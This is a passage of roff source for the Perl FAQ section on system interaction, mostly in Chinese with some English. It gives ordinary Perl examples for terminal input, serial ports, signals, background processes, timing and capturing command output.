vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLFAQ8 1" .TH PERLFAQ8 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlfaq8 \- 系统交互 (2003/01/26 17:44:04 ) .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" Perl FAQ 的这一节覆盖了与系统交互有关的问题。主题包括进程间通信 (IPC),用户界面控制 (键盘,屏幕和指点设备),以及其他与数据操作不相关的事项 .PP 阅读你系统中的 perl 自带的 FAQ 和文档 (例如,perlvms,perlplan9...)。它们会包含有关你的 perl 版本的更详细的信息。 .Sh "如何找出正在运行的操作系统?" .IX Subsection "How do I find out which operating system I'm running under?"$^O 这个变数(若使用 English 模组就是 $OSTYPE)会指出你的 perl 解译器执 行档是替哪个作业系统、平台所建的。 .Sh "为什么 exec() 不返回?" .IX Subsection "How come exec() doesn't return?" 因为这正是它所做的:它用另一个不同的程式来取代你当时所执行的。如果你的程 式需要继续跑下去(这可能正是你问此问题的原因吧?),改用 system() 。 .Sh "如何对键盘/萤幕/滑鼠做些花样?" .IX Subsection "How do I do fancy stuff with the keyboard/screen/mouse?" 连接/控制 键盘、萤幕和指标装置(「滑鼠」)的方法因作业系统的不同而有不 同;不妨试试下列模组: .IP "Keyboard" 4 .IX Item "Keyboard" .Vb 5 \& Term::Cap 标准内建模组 \& Term::ReadKey CPAN \& Term::ReadLine::Gnu CPAN \& Term::ReadLine::Perl CPAN \& Term::Screen CPAN .Ve .IP "Screen" 4 .IX Item "Screen" .Vb 3 \& Term::Cap 标准内建模组 \& Curses CPAN \& Term::ANSIColor CPAN .Ve .IP "Mouse" 4 .IX Item "Mouse" .Vb 1 \& Tk CPAN .Ve .PP Some of these specific cases are shown below. .Sh "How do I print something out in color?" .IX Subsection "How do I print something out in color?" In general, you don't, because you don't know whether the recipient has a color-aware display device. If you know that they have an \s-1ANSI\s0 terminal that understands color, you can use the Term::ANSIColor module from \s-1CPAN:\s0 .PP .Vb 3 \& use Term::ANSIColor; \& print color("red"), "Stop!\en", color("reset"); \& print color("green"), "Go!\en", color("reset"); .Ve .PP Or like this: .PP .Vb 3 \& use Term::ANSIColor qw(:constants); \& print RED, "Stop!\en", RESET; \& print GREEN, "Go!\en", RESET; .Ve .Sh "How do I read just one key without waiting for a return key?" .IX Subsection "How do I read just one key without waiting for a return key?" Controlling input buffering is a remarkably system-dependent matter. On many systems, you can just use the \fBstty\fR command as shown in \&\*(L"getc\*(R" in perlfunc, but as you see, that's already getting you into portability snags. .PP .Vb 6 \& open(TTY, "+</dev/tty") or die "no tty: $!"; \& system "stty cbreak </dev/tty >/dev/tty 2>&1"; \& $key = getc(TTY); # perhaps this works \& # OR ELSE \& sysread(TTY, $key, 1); # probably this does \& system "stty -cbreak </dev/tty >/dev/tty 2>&1"; .Ve .PP The Term::ReadKey module from \s-1CPAN\s0 offers an easy-to-use interface that should be more efficient than shelling out to \fBstty\fR for each key. It even includes limited support for Windows. .PP .Vb 4 \& use Term::ReadKey; \& ReadMode('cbreak'); \& $key = ReadKey(0); \& ReadMode('normal'); .Ve .PP However, using the code requires that you have a working C compiler and can use it to build and install a \s-1CPAN\s0 module. Here's a solution using the standard \s-1POSIX\s0 module, which is already on your systems (assuming your system supports \s-1POSIX\s0). .PP .Vb 2 \& use HotKey; \& $key = readkey(); .Ve .PP And here's the HotKey module, which hides the somewhat mystifying calls to manipulate the \s-1POSIX\s0 termios structures. .PP .Vb 2 \& # HotKey.pm \& package HotKey; .Ve .PP .Vb 2 \& @ISA = qw(Exporter); \& @EXPORT = qw(cbreak cooked readkey); .Ve .PP .Vb 3 \& use strict; \& use POSIX qw(:termios_h); \& my ($term, $oterm, $echo, $noecho, $fd_stdin); .Ve .PP .Vb 4 \& $fd_stdin = fileno(STDIN); \& $term = POSIX::Termios->new(); \& $term->getattr($fd_stdin); \& $oterm = $term->getlflag(); .Ve .PP .Vb 2 \& $echo = ECHO | ECHOK | ICANON; \& $noecho = $oterm & ~$echo; .Ve .PP .Vb 5 \& sub cbreak { \& $term->setlflag($noecho); # ok, so i don't want echo either \& $term->setcc(VTIME, 1); \& $term->setattr($fd_stdin, TCSANOW); \& } .Ve .PP .Vb 5 \& sub cooked { \& $term->setlflag($oterm); \& $term->setcc(VTIME, 0); \& $term->setattr($fd_stdin, TCSANOW); \& } .Ve .PP .Vb 7 \& sub readkey { \& my $key = ''; \& cbreak(); \& sysread(STDIN, $key, 1); \& cooked(); \& return $key; \& } .Ve .PP .Vb 1 \& END { cooked() } .Ve .PP .Vb 1 \& 1; .Ve .Sh "How do I check whether input is ready on the keyboard?" .IX Subsection "How do I check whether input is ready on the keyboard?" The easiest way to do this is to read a key in nonblocking mode with the Term::ReadKey module from \s-1CPAN\s0, passing it an argument of \-1 to indicate not to block: .PP .Vb 1 \& use Term::ReadKey; .Ve .PP .Vb 1 \& ReadMode('cbreak'); .Ve .PP .Vb 5 \& if (defined ($char = ReadKey(-1)) ) { \& # input was waiting and it was $char \& } else { \& # no input was waiting \& } .Ve .PP .Vb 1 \& ReadMode('normal'); # restore normal tty settings .Ve .Sh "How do I clear the screen?" .IX Subsection "How do I clear the screen?" If you only have do so infrequently, use \f(CW\*(C`system\*(C'\fR: .PP .Vb 1 \& system("clear"); .Ve .PP If you have to do this a lot, save the clear string so you can print it 100 times without calling a program 100 times: .PP .Vb 2 \& $clear_string = `clear`; \& print $clear_string; .Ve .PP If you're planning on doing other screen manipulations, like cursor positions, etc, you might wish to use Term::Cap module: .PP .Vb 3 \& use Term::Cap; \& $terminal = Term::Cap->Tgetent( {OSPEED => 9600} ); \& $clear_string = $terminal->Tputs('cl'); .Ve .Sh "How do I get the screen size?" .IX Subsection "How do I get the screen size?" If you have Term::ReadKey module installed from \s-1CPAN\s0, you can use it to fetch the width and height in characters and in pixels: .PP .Vb 2 \& use Term::ReadKey; \& ($wchar, $hchar, $wpixels, $hpixels) = GetTerminalSize(); .Ve .PP This is more portable than the raw \f(CW\*(C`ioctl\*(C'\fR, but not as illustrative: .PP .Vb 10 \& require 'sys/ioctl.ph'; \& die "no TIOCGWINSZ " unless defined &TIOCGWINSZ; \& open(TTY, "+</dev/tty") or die "No tty: $!"; \& unless (ioctl(TTY, &TIOCGWINSZ, $winsize='')) { \& die sprintf "$0: ioctl TIOCGWINSZ (%08x: $!)\en", &TIOCGWINSZ; \& } \& ($row, $col, $xpixel, $ypixel) = unpack('S4', $winsize); \& print "(row,col) = ($row,$col)"; \& print " (xpixel,ypixel) = ($xpixel,$ypixel)" if $xpixel || $ypixel; \& print "\en"; .Ve .Sh "如何向使用者询问密码?" .IX Subsection "How do I ask the user for a password?" (这个问题跟全球资讯网一点关系也没有。如果你要找的是跟 WWW 有关的,那就 看另一份常见问题集吧。) .PP 在 perlfunc 中的 \*(L"crypt\*(R" 里面有个范例。首先,将你的终端机设为「无回应」\*(L"no echo\*(R" 模式,然後就用平常的方法将密码读入。你可以用老式的 ioctl() 函数、 POSIX 终端机控制函数(参看 POSIX ,和骆驼书第七章),或是呼叫 stty 程式,这些方法的可携性/移植性程度都不一样。 .PP 你也可以在大部份系统上使用 CPAN 里的 Term::ReadKey 模组,这个模组较易使用而且理论上也较据可携性/移植性。 .PP .Vb 1 \& use Term::ReadKey; .Ve .PP .Vb 2 \& ReadMode('noecho'); \& $password = ReadLine(0); .Ve .Sh "如何读写串口?" .IX Subsection "How do I read and write the serial port?" 这端看你在什麽作业系统上执行你的程式。以 Unix 来说,序列埠可以透过 /dev 目录下的档案来撷取; 而在其他系统上,设备的名称无疑地会不一样。以下是一些在设备互动时可能遭遇的共同问题: .IP "lockfiles" 4 .IX Item "lockfiles" 你的系统可能会使用锁档来控制多重读写的情况。确定你用的是正确的协定。因为当多个程序同时对一个装置做读取时可能会发生意想不到的情况。 .IP "open mode" 4 .IX Item "open mode" 如果你打算对一个装置同时做读与写的动作,你得将它开到更新的模式( 在 perlfunc 中的 open 里有更详细的解说)。如果你不希望冒着阻挡其他程序读取 这个装置的风险,那就得用 sysopen() 和 Fcntl 模组(标准 perl 的一部分)内 的 \f(CW\*(C`O_RDWR|O_NDELAY|O_NOCTTY\*(C'\fR。在 perlfunc 中的 sysopen 里有对此方法更 详尽的解说。 .IP "end of line" 4 .IX Item "end of line" 有些装置会等着在每行结尾处看到一个 \*(L"\er\*(R",而非 \*(L"\en\*(R"。在某些平台上的 perl, \*(L"\er\*(R"和 \*(L"\en\*(R" 与它们平常(在 Unix 上)所指的 ASCII 值 \*(L"\e015\*(R" 和 \*(L"\e012\*(R" 有 所不同。你也许得直接给定数值,例如用八进位 (\*(L"\e015\*(R")、十六进位 (\*(L"0x0D\*(R"), 或指定控制字元 (\*(L"\ecM\*(R")。 .Sp .Vb 2 \& print DEV "atv1\e012"; # wrong, for some devices \& print DEV "atv1\e015"; # right, for some devices .Ve .Sp 尽管对普通的文字档案,一个 \*(L"\en\*(R" 便可解决断行的问题,但目前在不同作业系统 间(Unix、DOS/Win 和 Macintosh),对於断行记号仍无统一标准,而只有用 \*(L"\e015\e012\*(R" 来当成 每行的结尾,然後再视需要去掉输出中不想要的部份。这 个做法尤其常用於 socket输出/输入 与自动刷新 (autoflushing),也是接下来 要讨论的主题。 .IP "flushing output" 4 .IX Item "flushing output" 如果你希望 print() 的时候每个字元都要送到你指定的装置去,那你应自动刷新文件句柄。可以使用 \fIselect()\fR 和 \f(CW$|\fR 变量控制自动刷新,参见 perlvar 中的 "$|" 和 perlfunc 中的 \*(L"select\*(R",或 perlfaq5, ``How do I flush/unbuffer an output filehandle? Why must I do this?''): .Sp .Vb 3 \& $oldh = select(DEV); \& $| = 1; \& select($oldh); .Ve .Sp 你也可能看到不使用额外的暂存变数的写法,例如: .Sp .Vb 1 \& select((select(DEV), $| = 1)[0]); .Ve .Sp Or if you don't mind pulling in a few thousand lines of code just because you're afraid of a little $| variable: .Sp .Vb 2 \& use IO::Handle; \& DEV->autoflush(1); .Ve .Sp As mentioned in the previous item, this still doesn't work when using socket I/O between Unix and Macintosh. You'll need to hard code your line terminators, in that case. .IP "non-blocking input" 4 .IX Item "non-blocking input" 如果你正在做一个阻塞的 read() 或 sysread() 动作,则你需要安排一个闹 铃把手或提供一个逾时设定(参看 alarm)。如果你是用非阻挡式的 开档,那麽就要配合非阻挡性的读取,也就是说得用到4 个参数的 select() 来确 定此装置的 输出/入 是否已准备好了(参考 perlfunc 中的 select )。 .PP While trying to read from his caller-id box, the notorious Jamie Zawinski <[email protected]>, after much gnashing of teeth and fighting with sysread, sysopen, \s-1POSIX\s0's tcgetattr business, and various other functions that go bump in the night, finally came up with this: .PP .Vb 13 \& sub open_modem { \& use IPC::Open2; \& my $stty = `/bin/stty -g`; \& open2( \e*MODEM_IN, \e*MODEM_OUT, "cu -l$modem_device -s2400 2>&1"); \& # starting cu hoses /dev/tty's stty settings, even when it has \& # been opened on a pipe... \& system("/bin/stty $stty"); \& $_ = <MODEM_IN>; \& chomp; \& if ( !m/^Connected/ ) { \& print STDERR "$0: cu printed `$_' instead of `Connected'\en"; \& } \& } .Ve .Sh "如何解码加密的口令文件?" .IX Subsection "How do I decode encrypted password files?" 花大把大把的钱去买破解专用的硬体,这会让你成为焦点话题。 .PP 说正经的,如果是碰到 Unix 密码档的话就不行 - Unix 密码系统用的是单向的加 密函数。像 Crack 之类的程式可以暴力地(并聪明地)试着猜出密码,但无法 (也不能)保证速战速决。 .PP 如果你耽心的是使用者选取不良的密码,你应该在使用者换密码时主动审核(例如说修改 \fIpasswd\fR\|(1) 程式加入这个功能)。 .Sh "如何在后台开启进程?" .IX Subsection "How do I start a process in the background?" Several modules can start other processes that do not block your Perl program. You can use IPC::Open3, Parallel::Jobs, IPC::Run, and some of the \s-1POE\s0 modules. See \s-1CPAN\s0 for more details. .PP 你可以使用: .PP .Vb 1 \& system("cmd &") .Ve .PP 或是用 fork,像 perlfunc 中的 fork 里写的(在 perlipc 里有更进一步的 范例)。如果你在 Unix 类的系统上的话,请注意以下几件事情: .IP "\s-1STDIN\s0, \s-1STDOUT\s0, and \s-1STDERR\s0 are shared" 4 .IX Item "STDIN, STDOUT, 和 STDERR 是共享的" 主程序和背景程序(即「子」程序)共用同一个 STDIN、STDOUT 和 STDERR 档案 把手。如果两个程序想同时去读、写同一个档案把手,就可能有怪事会发生。你也 许应该替子程序关闭或重新开启这些把手。你可以用开启一个管道 (pipe) 的方法 避免这些问题(参看 open)但是在某些系统上这样做会强迫子程序 必须比父程序早死。 .IP "信号" 4 .IX Item "Signals" SIGCHLD、可能还有 SIGPIPE 这两个讯号要抓到。当背景程序执行完成後就会送出 SIGCHLD 讯号。而当你写入一个子程序已经关闭的档案把手时就会收到 SIGPIPE 讯号(一个未抓住的 SIGPIPE 可能导致你的程式无声无息地死去)。用 system("cmd&") 的话不会有这样的问题。 .IP "僵尸进程" 4 .IX Item "Zombies" 你得做准备,在子程序结束时「收成」它: .Sp .Vb 1 \& $SIG{CHLD} = sub { wait }; .Ve .Sp .Vb 1 \& $SIG{CHLD} = 'IGNORE'; .Ve .Sp You can also use a double fork. You immediately \fIwait()\fR for your first child, and the init daemon will \fIwait()\fR for your grandchild once it exits. .Sp .Vb 8 \& unless ($pid = fork) { \& unless (fork) { \& exec "what you really wanna do"; \& die "exec failed!"; \& } \& exit 0; \& } \& waitpid($pid,0); .Ve .Sp 在 Signals 有范例程式教你怎麽做。用 system("prog &") 的 话不会有僵 程序的问题。 .Sh "如何截获控制字符/信号?" .IX Subsection "How do I trap control characters/signals?" 你并不能真的 ``捕捉'' 一个控制字元。而是控制字元产生一个讯号让你捕捉。关於讯号的资料可以在 Signals 以及骆驼书第六章里找到。 .PP 要小心的是,大多 C 程式库无法重新进入 [re-entrant]。因此当你要尝试着在一 个处理器里做 print() 动作,而这个处理器是由另一个stdio 的动作所叫出来的 话,你的内部结构可能会处於失调状态,而程式可能会丢出记忆核心 (dump core)。 有的时候你可以用 syswrite() 取代 print() 以避免这个状况。 .PP 除非你极为小心,否则在一个讯号处理器中,唯一安全可做的是:设定一个变数後离开。而在第一个情况下,你在设定变数的时候应确定 malloc() 不会被叫出来 (譬如,设定一个已经有值的变数)。 .PP 例如: .PP .Vb 5 \& $Interrupted = 0; # 确定它有个值 \& $SIG{INT} = sub { \& $Interrupted++; \& syswrite(STDERR, "ouch\en", 5); \& } .Ve .PP 然而,因为系统呼叫会自己重新启动,你将会发现如果你用的是「慢的」呼叫,像 < FH>、read()、connect() 或 wait(),那麽将它们停下的唯一办法是使 用「跳远」的方式跳出来;也就是产生一个例外讯号。参看在 Signals 里对阻挡性 flock() 的逾时处理器的说明,或骆驼书第六 章。 .Sh "在 Unix 系统中如何修改 shadow 文件?" .IX Subsection "How do I modify the shadow password file on a Unix system?" 如果你的 perl 安装正确的话,在 perlfunc 里描述的 getpw*() 函数应该就能够读取隐式密码档了(只有读取权)。要更动该档案内容,做一个新的密码档(这个档案的格式因系统而异,请看 passwd(5) )然後用 pwd_mkdb(8)(参考 pwd_mkdb(5))来安装新的密码档。 .Sh "如何设置时间和日期?" .IX Subsection "How do I set the time and date?" 假设你有足够的权限,你应该可以用 date(1) 程式来设定系统的时间与日期。 (但没有针对个别程序修改时间日期的方法)这机制在 Unix、MS-DOS、Windows 和 NT 下都能用;VMS 下则要用 set time 。 .PP 然而,如果你只是要更动你的时区,只消设定一个环境变数即可: .PP .Vb 3 \& $ENV{TZ} = "MST7MDT"; # unixish \& $ENV{'SYS$TIMEZONE_DIFFERENTIAL'}="-5" # vms \& system "trn comp.lang.perl.misc"; .Ve .Sh "如何 sleep() 或 alarm() 少于一秒的时间?" .IX Subsection "How can I sleep() or alarm() for under a second?" 如果你要比 sleep() 所提供的最小单位一秒更精细的话,最简单的方法就是用 select 里面写的 select() 函数。试一试 Time::HiRes 和 BSD::Itimer 模块 (可以从 CPAN 下载,从 Perl 5.8 开始 Time::HiRes 成为标准发行的一部分). .Sh "如何测度少于一秒的时间?" .IX Subsection "How can I measure time under a second?" 一般来说,你可能做不到。 Time::HiRes 模组(CPAN 有,从 Perl 5.8 开始成为标准发行的一部分)在某些系统上能达到此 功能。 .PP 总之,你可能做不到。但是如果你的 Perl 支援 syscall() 函数并支援类似 gettimeofday(2) 的系统呼叫,你也许可以这麽做: .PP .Vb 1 \& require 'sys/syscall.ph'; .Ve .PP .Vb 1 \& $TIMEVAL_T = "LL"; .Ve .PP .Vb 1 \& $done = $start = pack($TIMEVAL_T, ()); .Ve .PP .Vb 2 \& syscall(&SYS_gettimeofday, $start, 0) != -1 \& or die "gettimeofday: $!"; .Ve .PP .Vb 3 \& ########################## \& # DO YOUR OPERATION HERE # \& ########################## .Ve .PP .Vb 2 \& syscall( &SYS_gettimeofday, $done, 0) != -1 \& or die "gettimeofday: $!"; .Ve .PP .Vb 2 \& @start = unpack($TIMEVAL_T, $start); \& @done = unpack($TIMEVAL_T, $done); .Ve .PP .Vb 2 \& # fix microseconds \& for ($done[1], $start[1]) { $_ /= 1_000_000 } .Ve .PP .Vb 3 \& $delta_time = sprintf "%.4f", ($done[0] + $done[1] ) \& - \& ($start[0] + $start[1] ); .Ve .Sh "如何做 atexit()或 setjmp()/longjmp()的动作?(异常处理)" .IX Subsection "How can I do an atexit() or setjmp()/longjmp()? (Exception handling)" 第五版的 Perl 增加了 END 区块,可以用来模拟 atexit()的效果。当程式或执行 绪(thread) 终了时就会去呼叫该包装的 END 区块(参考 perlmod 文件)。 .PP For example, you can use this to make sure your filter program managed to finish its output without filling up the disk: .PP .Vb 3 \& END { \& close(STDOUT) || die "stdout close failed: $!"; \& } .Ve .PP 如果当程式被没有抓到的讯号终结了,END 区块就不会被呼叫到,所以当你用 END 时应再加上 .PP .Vb 1 \& use sigtrap qw(die normal-signals); .Ve .PP Perl 的例外处理机制就是它的 eval() 运算子。你可以把 eval() 当做 setjmp 而die()当做 longjmp 来使用。更详细的说明请参考 Signals 和 Camel书第六章里关於讯号的那段,尤其是描述有关 flock() 的逾时处理器那段。 .PP 如果你只对例外处理的部分有兴趣,试试 exceptions.pl 程式库(包含在标准 perl里)。 .PP 如果你要的是 atexit() 语法(以及 rmexit()),试试 CPAN 里的 AtExit 模组。 .ie n .Sh "为何我的 sockets程式在 System V (Solaris)系统下不能用?「不支持的协议」这个错误讯息又是什麽意思?" .el .Sh "为何我的 sockets程式在 System V (Solaris)系统下不能用?「不支持的协议」这个错误讯息又是什麽意思?" .IX Subsection "Why doesn't my sockets program work under System V (Solaris)? What does the error message Protocol not supported mean?" 有些 Sys-V 根底的系统,特别像 Solaris 2.X,已重新将一些标准的 socket常数 定义过了。由於这些常数在各种架构下都是定值,所以在 perl程式码中常被人写 死在里面。处理此问题的适当方式 是用 ``use Socket'' 来取得正确的值。 .PP 须注意尽管 SunOS 和 Solaris 在二进位执行档上相容,这些值是相异的。自己去 想为什麽吧。 .Sh "如何从 Perl里呼叫系统中独特的 C函数?" .IX Subsection "How can I call my system's unique C functions from Perl?" 通常是写个外部的模组来处理 - 参看「我要如何学到将 C 与 Perl 连结在一起? [h2xs, xsubpp]」 这问题的答案。然而,如果此函数是个系统呼叫,而你的系统 有支援 syscall(),那麽可以用 syscall 函数(说明在 perlfunc 里)。 .PP 切记先查查看你的 perl 版本中所附的模组以及 CPAN 里的模组,因为也许某人已 经写了个这样的模组。 On Windows, try Win32::API. On Macs, try Mac::Carbon. If no module has an interface to the C function, you can inline a bit of C in your Perl source with Inline::C. .Sh "在哪里可以找引入档来做 ioctl()或 syscall()?" .IX Subsection "Where do I get the include files to do ioctl() or syscall()?" 以前这些档案会由标准 perl 发行中所附的 h2ph 工具来产生。这个程式将 C 标 头档案里的 cpp(1)指令转换成内含副程式定义的档案,像 &SYS_getitimer,你可 以把它当做函数的参数。这样做并不怎麽完美,但通常可达成任务。简单的像 errno.h 、syscall.h 和socket.h 这些档案都没问题,但像 ioctl.h 这种较难的档案总是需要人工编辑。以下是安装 *.ph 档案的步骤: .PP .Vb 3 \& 1. 成为超级用户 \& 2. cd /usr/include \& 3. h2ph *.h */*.h .Ve .PP 如果你的系统支援动态载入,那麽为了可移植性、而且合理的做法是使用 h2xs(也 是 perl的标准配备)。这个工具将 C 标头档案转换成 Perl 的衍伸档案 (extensions)。 h2xs 的入门要看 perlxstut 。 .PP 如果你的系统不支援动态载入,你可能仍应使用 h2xs。参看 perlxstut 和 MakeMaker (简单来说,就是用 make perl 、而非 make 来重 建一份使用新的静态连结的 perl)。 .Sh "为何 setuid perl程式会抱怨关於系统核心的问题?" .IX Subsection "Why do setuid perl scripts complain about kernel problems?" 有些作业系统的核心有臭虫使得 setuid 程式在先天上就不安全。Perl提供你一些方法(在 perlsec 里有写)可跳过这些系统的缺陷。 .Sh "如何打开对某程式既输入又输出的管道 (pipe)?" .IX Subsection "How can I open a pipe both to and from a command?" IPC::Open2 模组(perl 的标准配件)是个好用的方法,它在内部是藉着pipe()、 fork() 和 exec() 来完成此工作。不过切记要读它文件里关於锁死的警告 ( 参见 IPC::Open2 )。参见 perlipc 中的 \*(L"Bidirectional Communication with Another Process\*(R" 和 \&\*(L"Bidirectional Communication with Yourself\*(R" .PP You may also use the IPC::Open3 module (part of the standard perl distribution), but be warned that it has a different order of arguments from IPC::Open2 (see IPC::Open3). .Sh "为何用 system()却得不到一个指令的输出呢?" .IX Subsection "Why can't I get the output of a command with system()?" 你把 system() 和反向引号 (``) 的用法搞混了。 system() 会执行一个指令然後 传回指令结束时的状况资讯(以一个 16 进位值表示:低位元是程序中止所收到的 讯号,高位元才是真正离开时的传回值)。反向引号 (``) 执行一个指令并且把它 所送出的东西送到 STDOUT。 .PP .Vb 2 \& $exit_status = system("mail-users"); \& $output_string = `ls`; .Ve .Sh "如何捕捉外部指令的 STDERR?" .IX Subsection "How can I capture STDERR from an external command?" 有叁种基本方式执行外部指令: .PP .Vb 3 \& system $cmd; # 使用 system() \& $output = `$cmd`; # 使用 backticks (``) \& open (PIPE, "cmd |"); # 使用 open() .Ve .PP 在 system() 下,STDOUT 和 STDERR 都会输出到和 script 本身的 STDOUT, STDERR相同的出处,除非指令本身将它们导向它处。反向引号和 open() 则 只 读取指令的 STDOUT 部份。 .PP 你也可以使用 IPC::Open3 模组. Benjamin Goldberg provides some sample code: .PP To capture a program's \s-1STDOUT\s0, but discard its \s-1STDERR:\s0 .PP .Vb 7 \& use IPC::Open3; \& use File::Spec; \& use Symbol qw(gensym); \& open(NULL, ">", File::Spec->devnull); \& my $pid = open3(gensym, \e*PH, ">&NULL", "cmd"); \& while( <PH> ) { } \& waitpid($pid, 0); .Ve .PP To capture a program's \s-1STDERR\s0, but discard its \s-1STDOUT:\s0 .PP .Vb 7 \& use IPC::Open3; \& use File::Spec; \& use Symbol qw(gensym); \& open(NULL, ">", File::Spec->devnull); \& my $pid = open3(gensym, ">&NULL", \e*PH, "cmd"); \& while( <PH> ) { } \& waitpid($pid, 0); .Ve .PP To capture a program's \s-1STDERR\s0, and let its \s-1STDOUT\s0 go to our own \s-1STDERR:\s0 .PP .Vb 5 \& use IPC::Open3; \& use Symbol qw(gensym); \& my $pid = open3(gensym, ">&STDERR", \e*PH, "cmd"); \& while( <PH> ) { } \& waitpid($pid, 0); .Ve .PP To read both a command's \s-1STDOUT\s0 and its \s-1STDERR\s0 separately, you can redirect them to temp files, let the command run, then read the temp files: .PP .Vb 10 \& use IPC::Open3; \& use Symbol qw(gensym); \& use IO::File; \& local *CATCHOUT = IO::File->new_tempfile; \& local *CATCHERR = IO::File->new_tempfile; \& my $pid = open3(gensym, ">&CATCHOUT", ">&CATCHERR", "cmd"); \& waitpid($pid, 0); \& seek $_, 0, 0 for \e*CATCHOUT, \e*CATCHERR; \& while( <CATCHOUT> ) {} \& while( <CATCHERR> ) {} .Ve .PP But there's no real need for *both* to be tempfiles... the following should work just as well, without deadlocking: .PP .Vb 9 \& use IPC::Open3; \& use Symbol qw(gensym); \& use IO::File; \& local *CATCHERR = IO::File->new_tempfile; \& my $pid = open3(gensym, \e*CATCHOUT, ">&CATCHERR", "cmd"); \& while( <CATCHOUT> ) {} \& waitpid($pid, 0); \& seek CATCHERR, 0, 0; \& while( <CATCHERR> ) {} .Ve .PP And it'll be faster, too, since we can begin processing the program's stdout immediately, rather than waiting for the program to finish. .PP 在上述方法中,你可以在呼叫前更改文件描述符 (file descriptor) 名称: .PP .Vb 2 \& open(STDOUT, ">logfile"); \& system("ls"); .Ve .PP 或者使用 Bourne shell 的文件描述符重导功能: .PP .Vb 2 \& $output = `$cmd 2>some_file`; \& open (PIPE, "cmd 2>some_file |"); .Ve .PP 也可以用档案描述元重导功能将 STDERR 复制为 STDOUT: .PP .Vb 2 \& $output = `$cmd 2>&1`; \& open (PIPE, "cmd 2>&1 |"); .Ve .PP 注意你 不能 光是将 STDERR 开成 STDOUT 的复制,而不呼叫 shell来做这个 重导的工作。这样是不行的: .PP .Vb 2 \& open(STDERR, ">&STDOUT"); \& $alloutput = `cmd args`; # stderr still escapes .Ve .PP 失败的原因是,open() 让 STDERR 在呼叫 open() 时往 STDOUT的方向走。然後反 向引号让 STDOUT的内容跑到一个字串变数里,但是没有改变 STDERR 的去向(它 仍然往旧的 STDOUT那里跑)。 .PP 注意,在反向引号里你 必须 使用 Bourne shell (sh(1)) 重导的语法而非 csh(1)的!至於为何 Perl 的 system()、反向引号和开管道都用 Bourne shell语法的原因,可在下址找到:\*(L"Far More Than You Ever Wanted To Know\*(R", http://www.cpan.org/misc/olddoc/FMTEYEWTK.tgz . 要同时捕捉一个命令的 \s-1STDERR\s0 和 \s-1STDOUT\s0: .PP .Vb 3 \& $output = `cmd 2>&1`; # either with backticks \& $pid = open(PH, "cmd 2>&1 |"); # or with an open pipe \& while (<PH>) { } # plus a read .Ve .PP To capture a command's \s-1STDOUT\s0 but discard its \s-1STDERR:\s0 .PP .Vb 3 \& $output = `cmd 2>/dev/null`; # either with backticks \& $pid = open(PH, "cmd 2>/dev/null |"); # or with an open pipe \& while (<PH>) { } # plus a read .Ve .PP To capture a command's \s-1STDERR\s0 but discard its \s-1STDOUT:\s0 .PP .Vb 3 \& $output = `cmd 2>&1 1>/dev/null`; # either with backticks \& $pid = open(PH, "cmd 2>&1 1>/dev/null |"); # or with an open pipe \& while (<PH>) { } # plus a read .Ve .PP To exchange a command's \s-1STDOUT\s0 and \s-1STDERR\s0 in order to capture the \s-1STDERR\s0 but leave its \s-1STDOUT\s0 to come out our old \s-1STDERR:\s0 .PP .Vb 3 \& $output = `cmd 3>&1 1>&2 2>&3 3>&-`; # either with backticks \& $pid = open(PH, "cmd 3>&1 1>&2 2>&3 3>&-|");# or with an open pipe \& while (<PH>) { } # plus a read .Ve .PP To read both a command's \s-1STDOUT\s0 and its \s-1STDERR\s0 separately, it's easiest and safest to redirect them separately to files, and then read from those files when the program is done: .PP .Vb 1 \& system("program args 1>/tmp/program.stdout 2>/tmp/program.stderr"); .Ve .PP Ordering is important in all these examples. That's because the shell processes file descriptor redirections in strictly left to right order. .PP .Vb 2 \& system("prog args 1>tmpfile 2>&1"); \& system("prog args 2>&1 1>tmpfile"); .Ve .PP The first command sends both standard out and standard error to the temporary file. The second command sends only the old standard output there, and the old standard error shows up on the old standard out. .Sh "为何当管道开启失败时 open()不会传回错误讯息?" .IX Subsection "Why doesn't open() return an error when a pipe open fails?" If the second argument to a piped \fIopen()\fR contains shell metacharacters, perl \fIfork()\fRs, then \fIexec()\fRs a shell to decode the metacharacters and eventually run the desired program. If the program couldn't be run, it's the shell that gets the message, not Perl. All your Perl program can find out is whether the shell itself could be successfully started. You can still capture the shell's \s-1STDERR\s0 and check it for error messages. See \*(L"How can I capture \s-1STDERR\s0 from an external command?\*(R" elsewhere in this document, or use the IPC::Open3 module. .PP If there are no shell metacharacters in the argument of \fIopen()\fR, Perl runs the command directly, without using the shell, and can correctly report whether the command started. .Sh "在忽略返回值的上下文里使用反向引号有何不对?" .IX Subsection "What's wrong with using backticks in a void context?" 严格说起来,没啥不对。但从程式写作严谨与否来说,这样无法写出较易维护的程式码。Perl 有多种方法可以运行外部命令。反引号只是其中一个;它收集命令的输出,在程序中加以应用。 \f(CW\*(C`system\*(C'\fR 函数是另一个,它不这样做 .PP Writing backticks in your program sends a clear message to the readers of your code that you wanted to collect the output of the command. Why send a clear message that isn't true? .PP 再看看下列这一行: .PP .Vb 1 \& `cat /etc/termcap`; .Ve .PP 你还没有指定输出,所以它会浪费记忆体(就那麽一下子)。另外你也忘了检查 \f(CW$?\fR 看看程式是否正确的执行。即使你写成 .PP .Vb 1 \& print `cat /etc/termcap`; .Ve .PP 但在大部份情况下,这本来可以、而且也应该写成 .PP .Vb 2 \& system("cat /etc/termcap") == 0 \& or die "cat program failed!"; .Ve .PP 这样可快速地得到输出(一产生出来就会得到,不用等到最後),并且检查传回值。 .PP \&\fIsystem()\fR 同时具有直接决定是否先做 shell 万用字元 (wildcard)处理的功能, 反向引号就不行。 .Sh "如何不经过 shell处理来呼叫反向引号?" .IX Subsection "How can I call backticks without shell processing?" 这需要些技巧。不能写成这样: .PP .Vb 1 \& @ok = `grep @opts '$search_string' @filenames`; .Ve .PP 在 Perl 5.8.0 中,你可以使用有多个参数的 \fIopen()\fR。类似 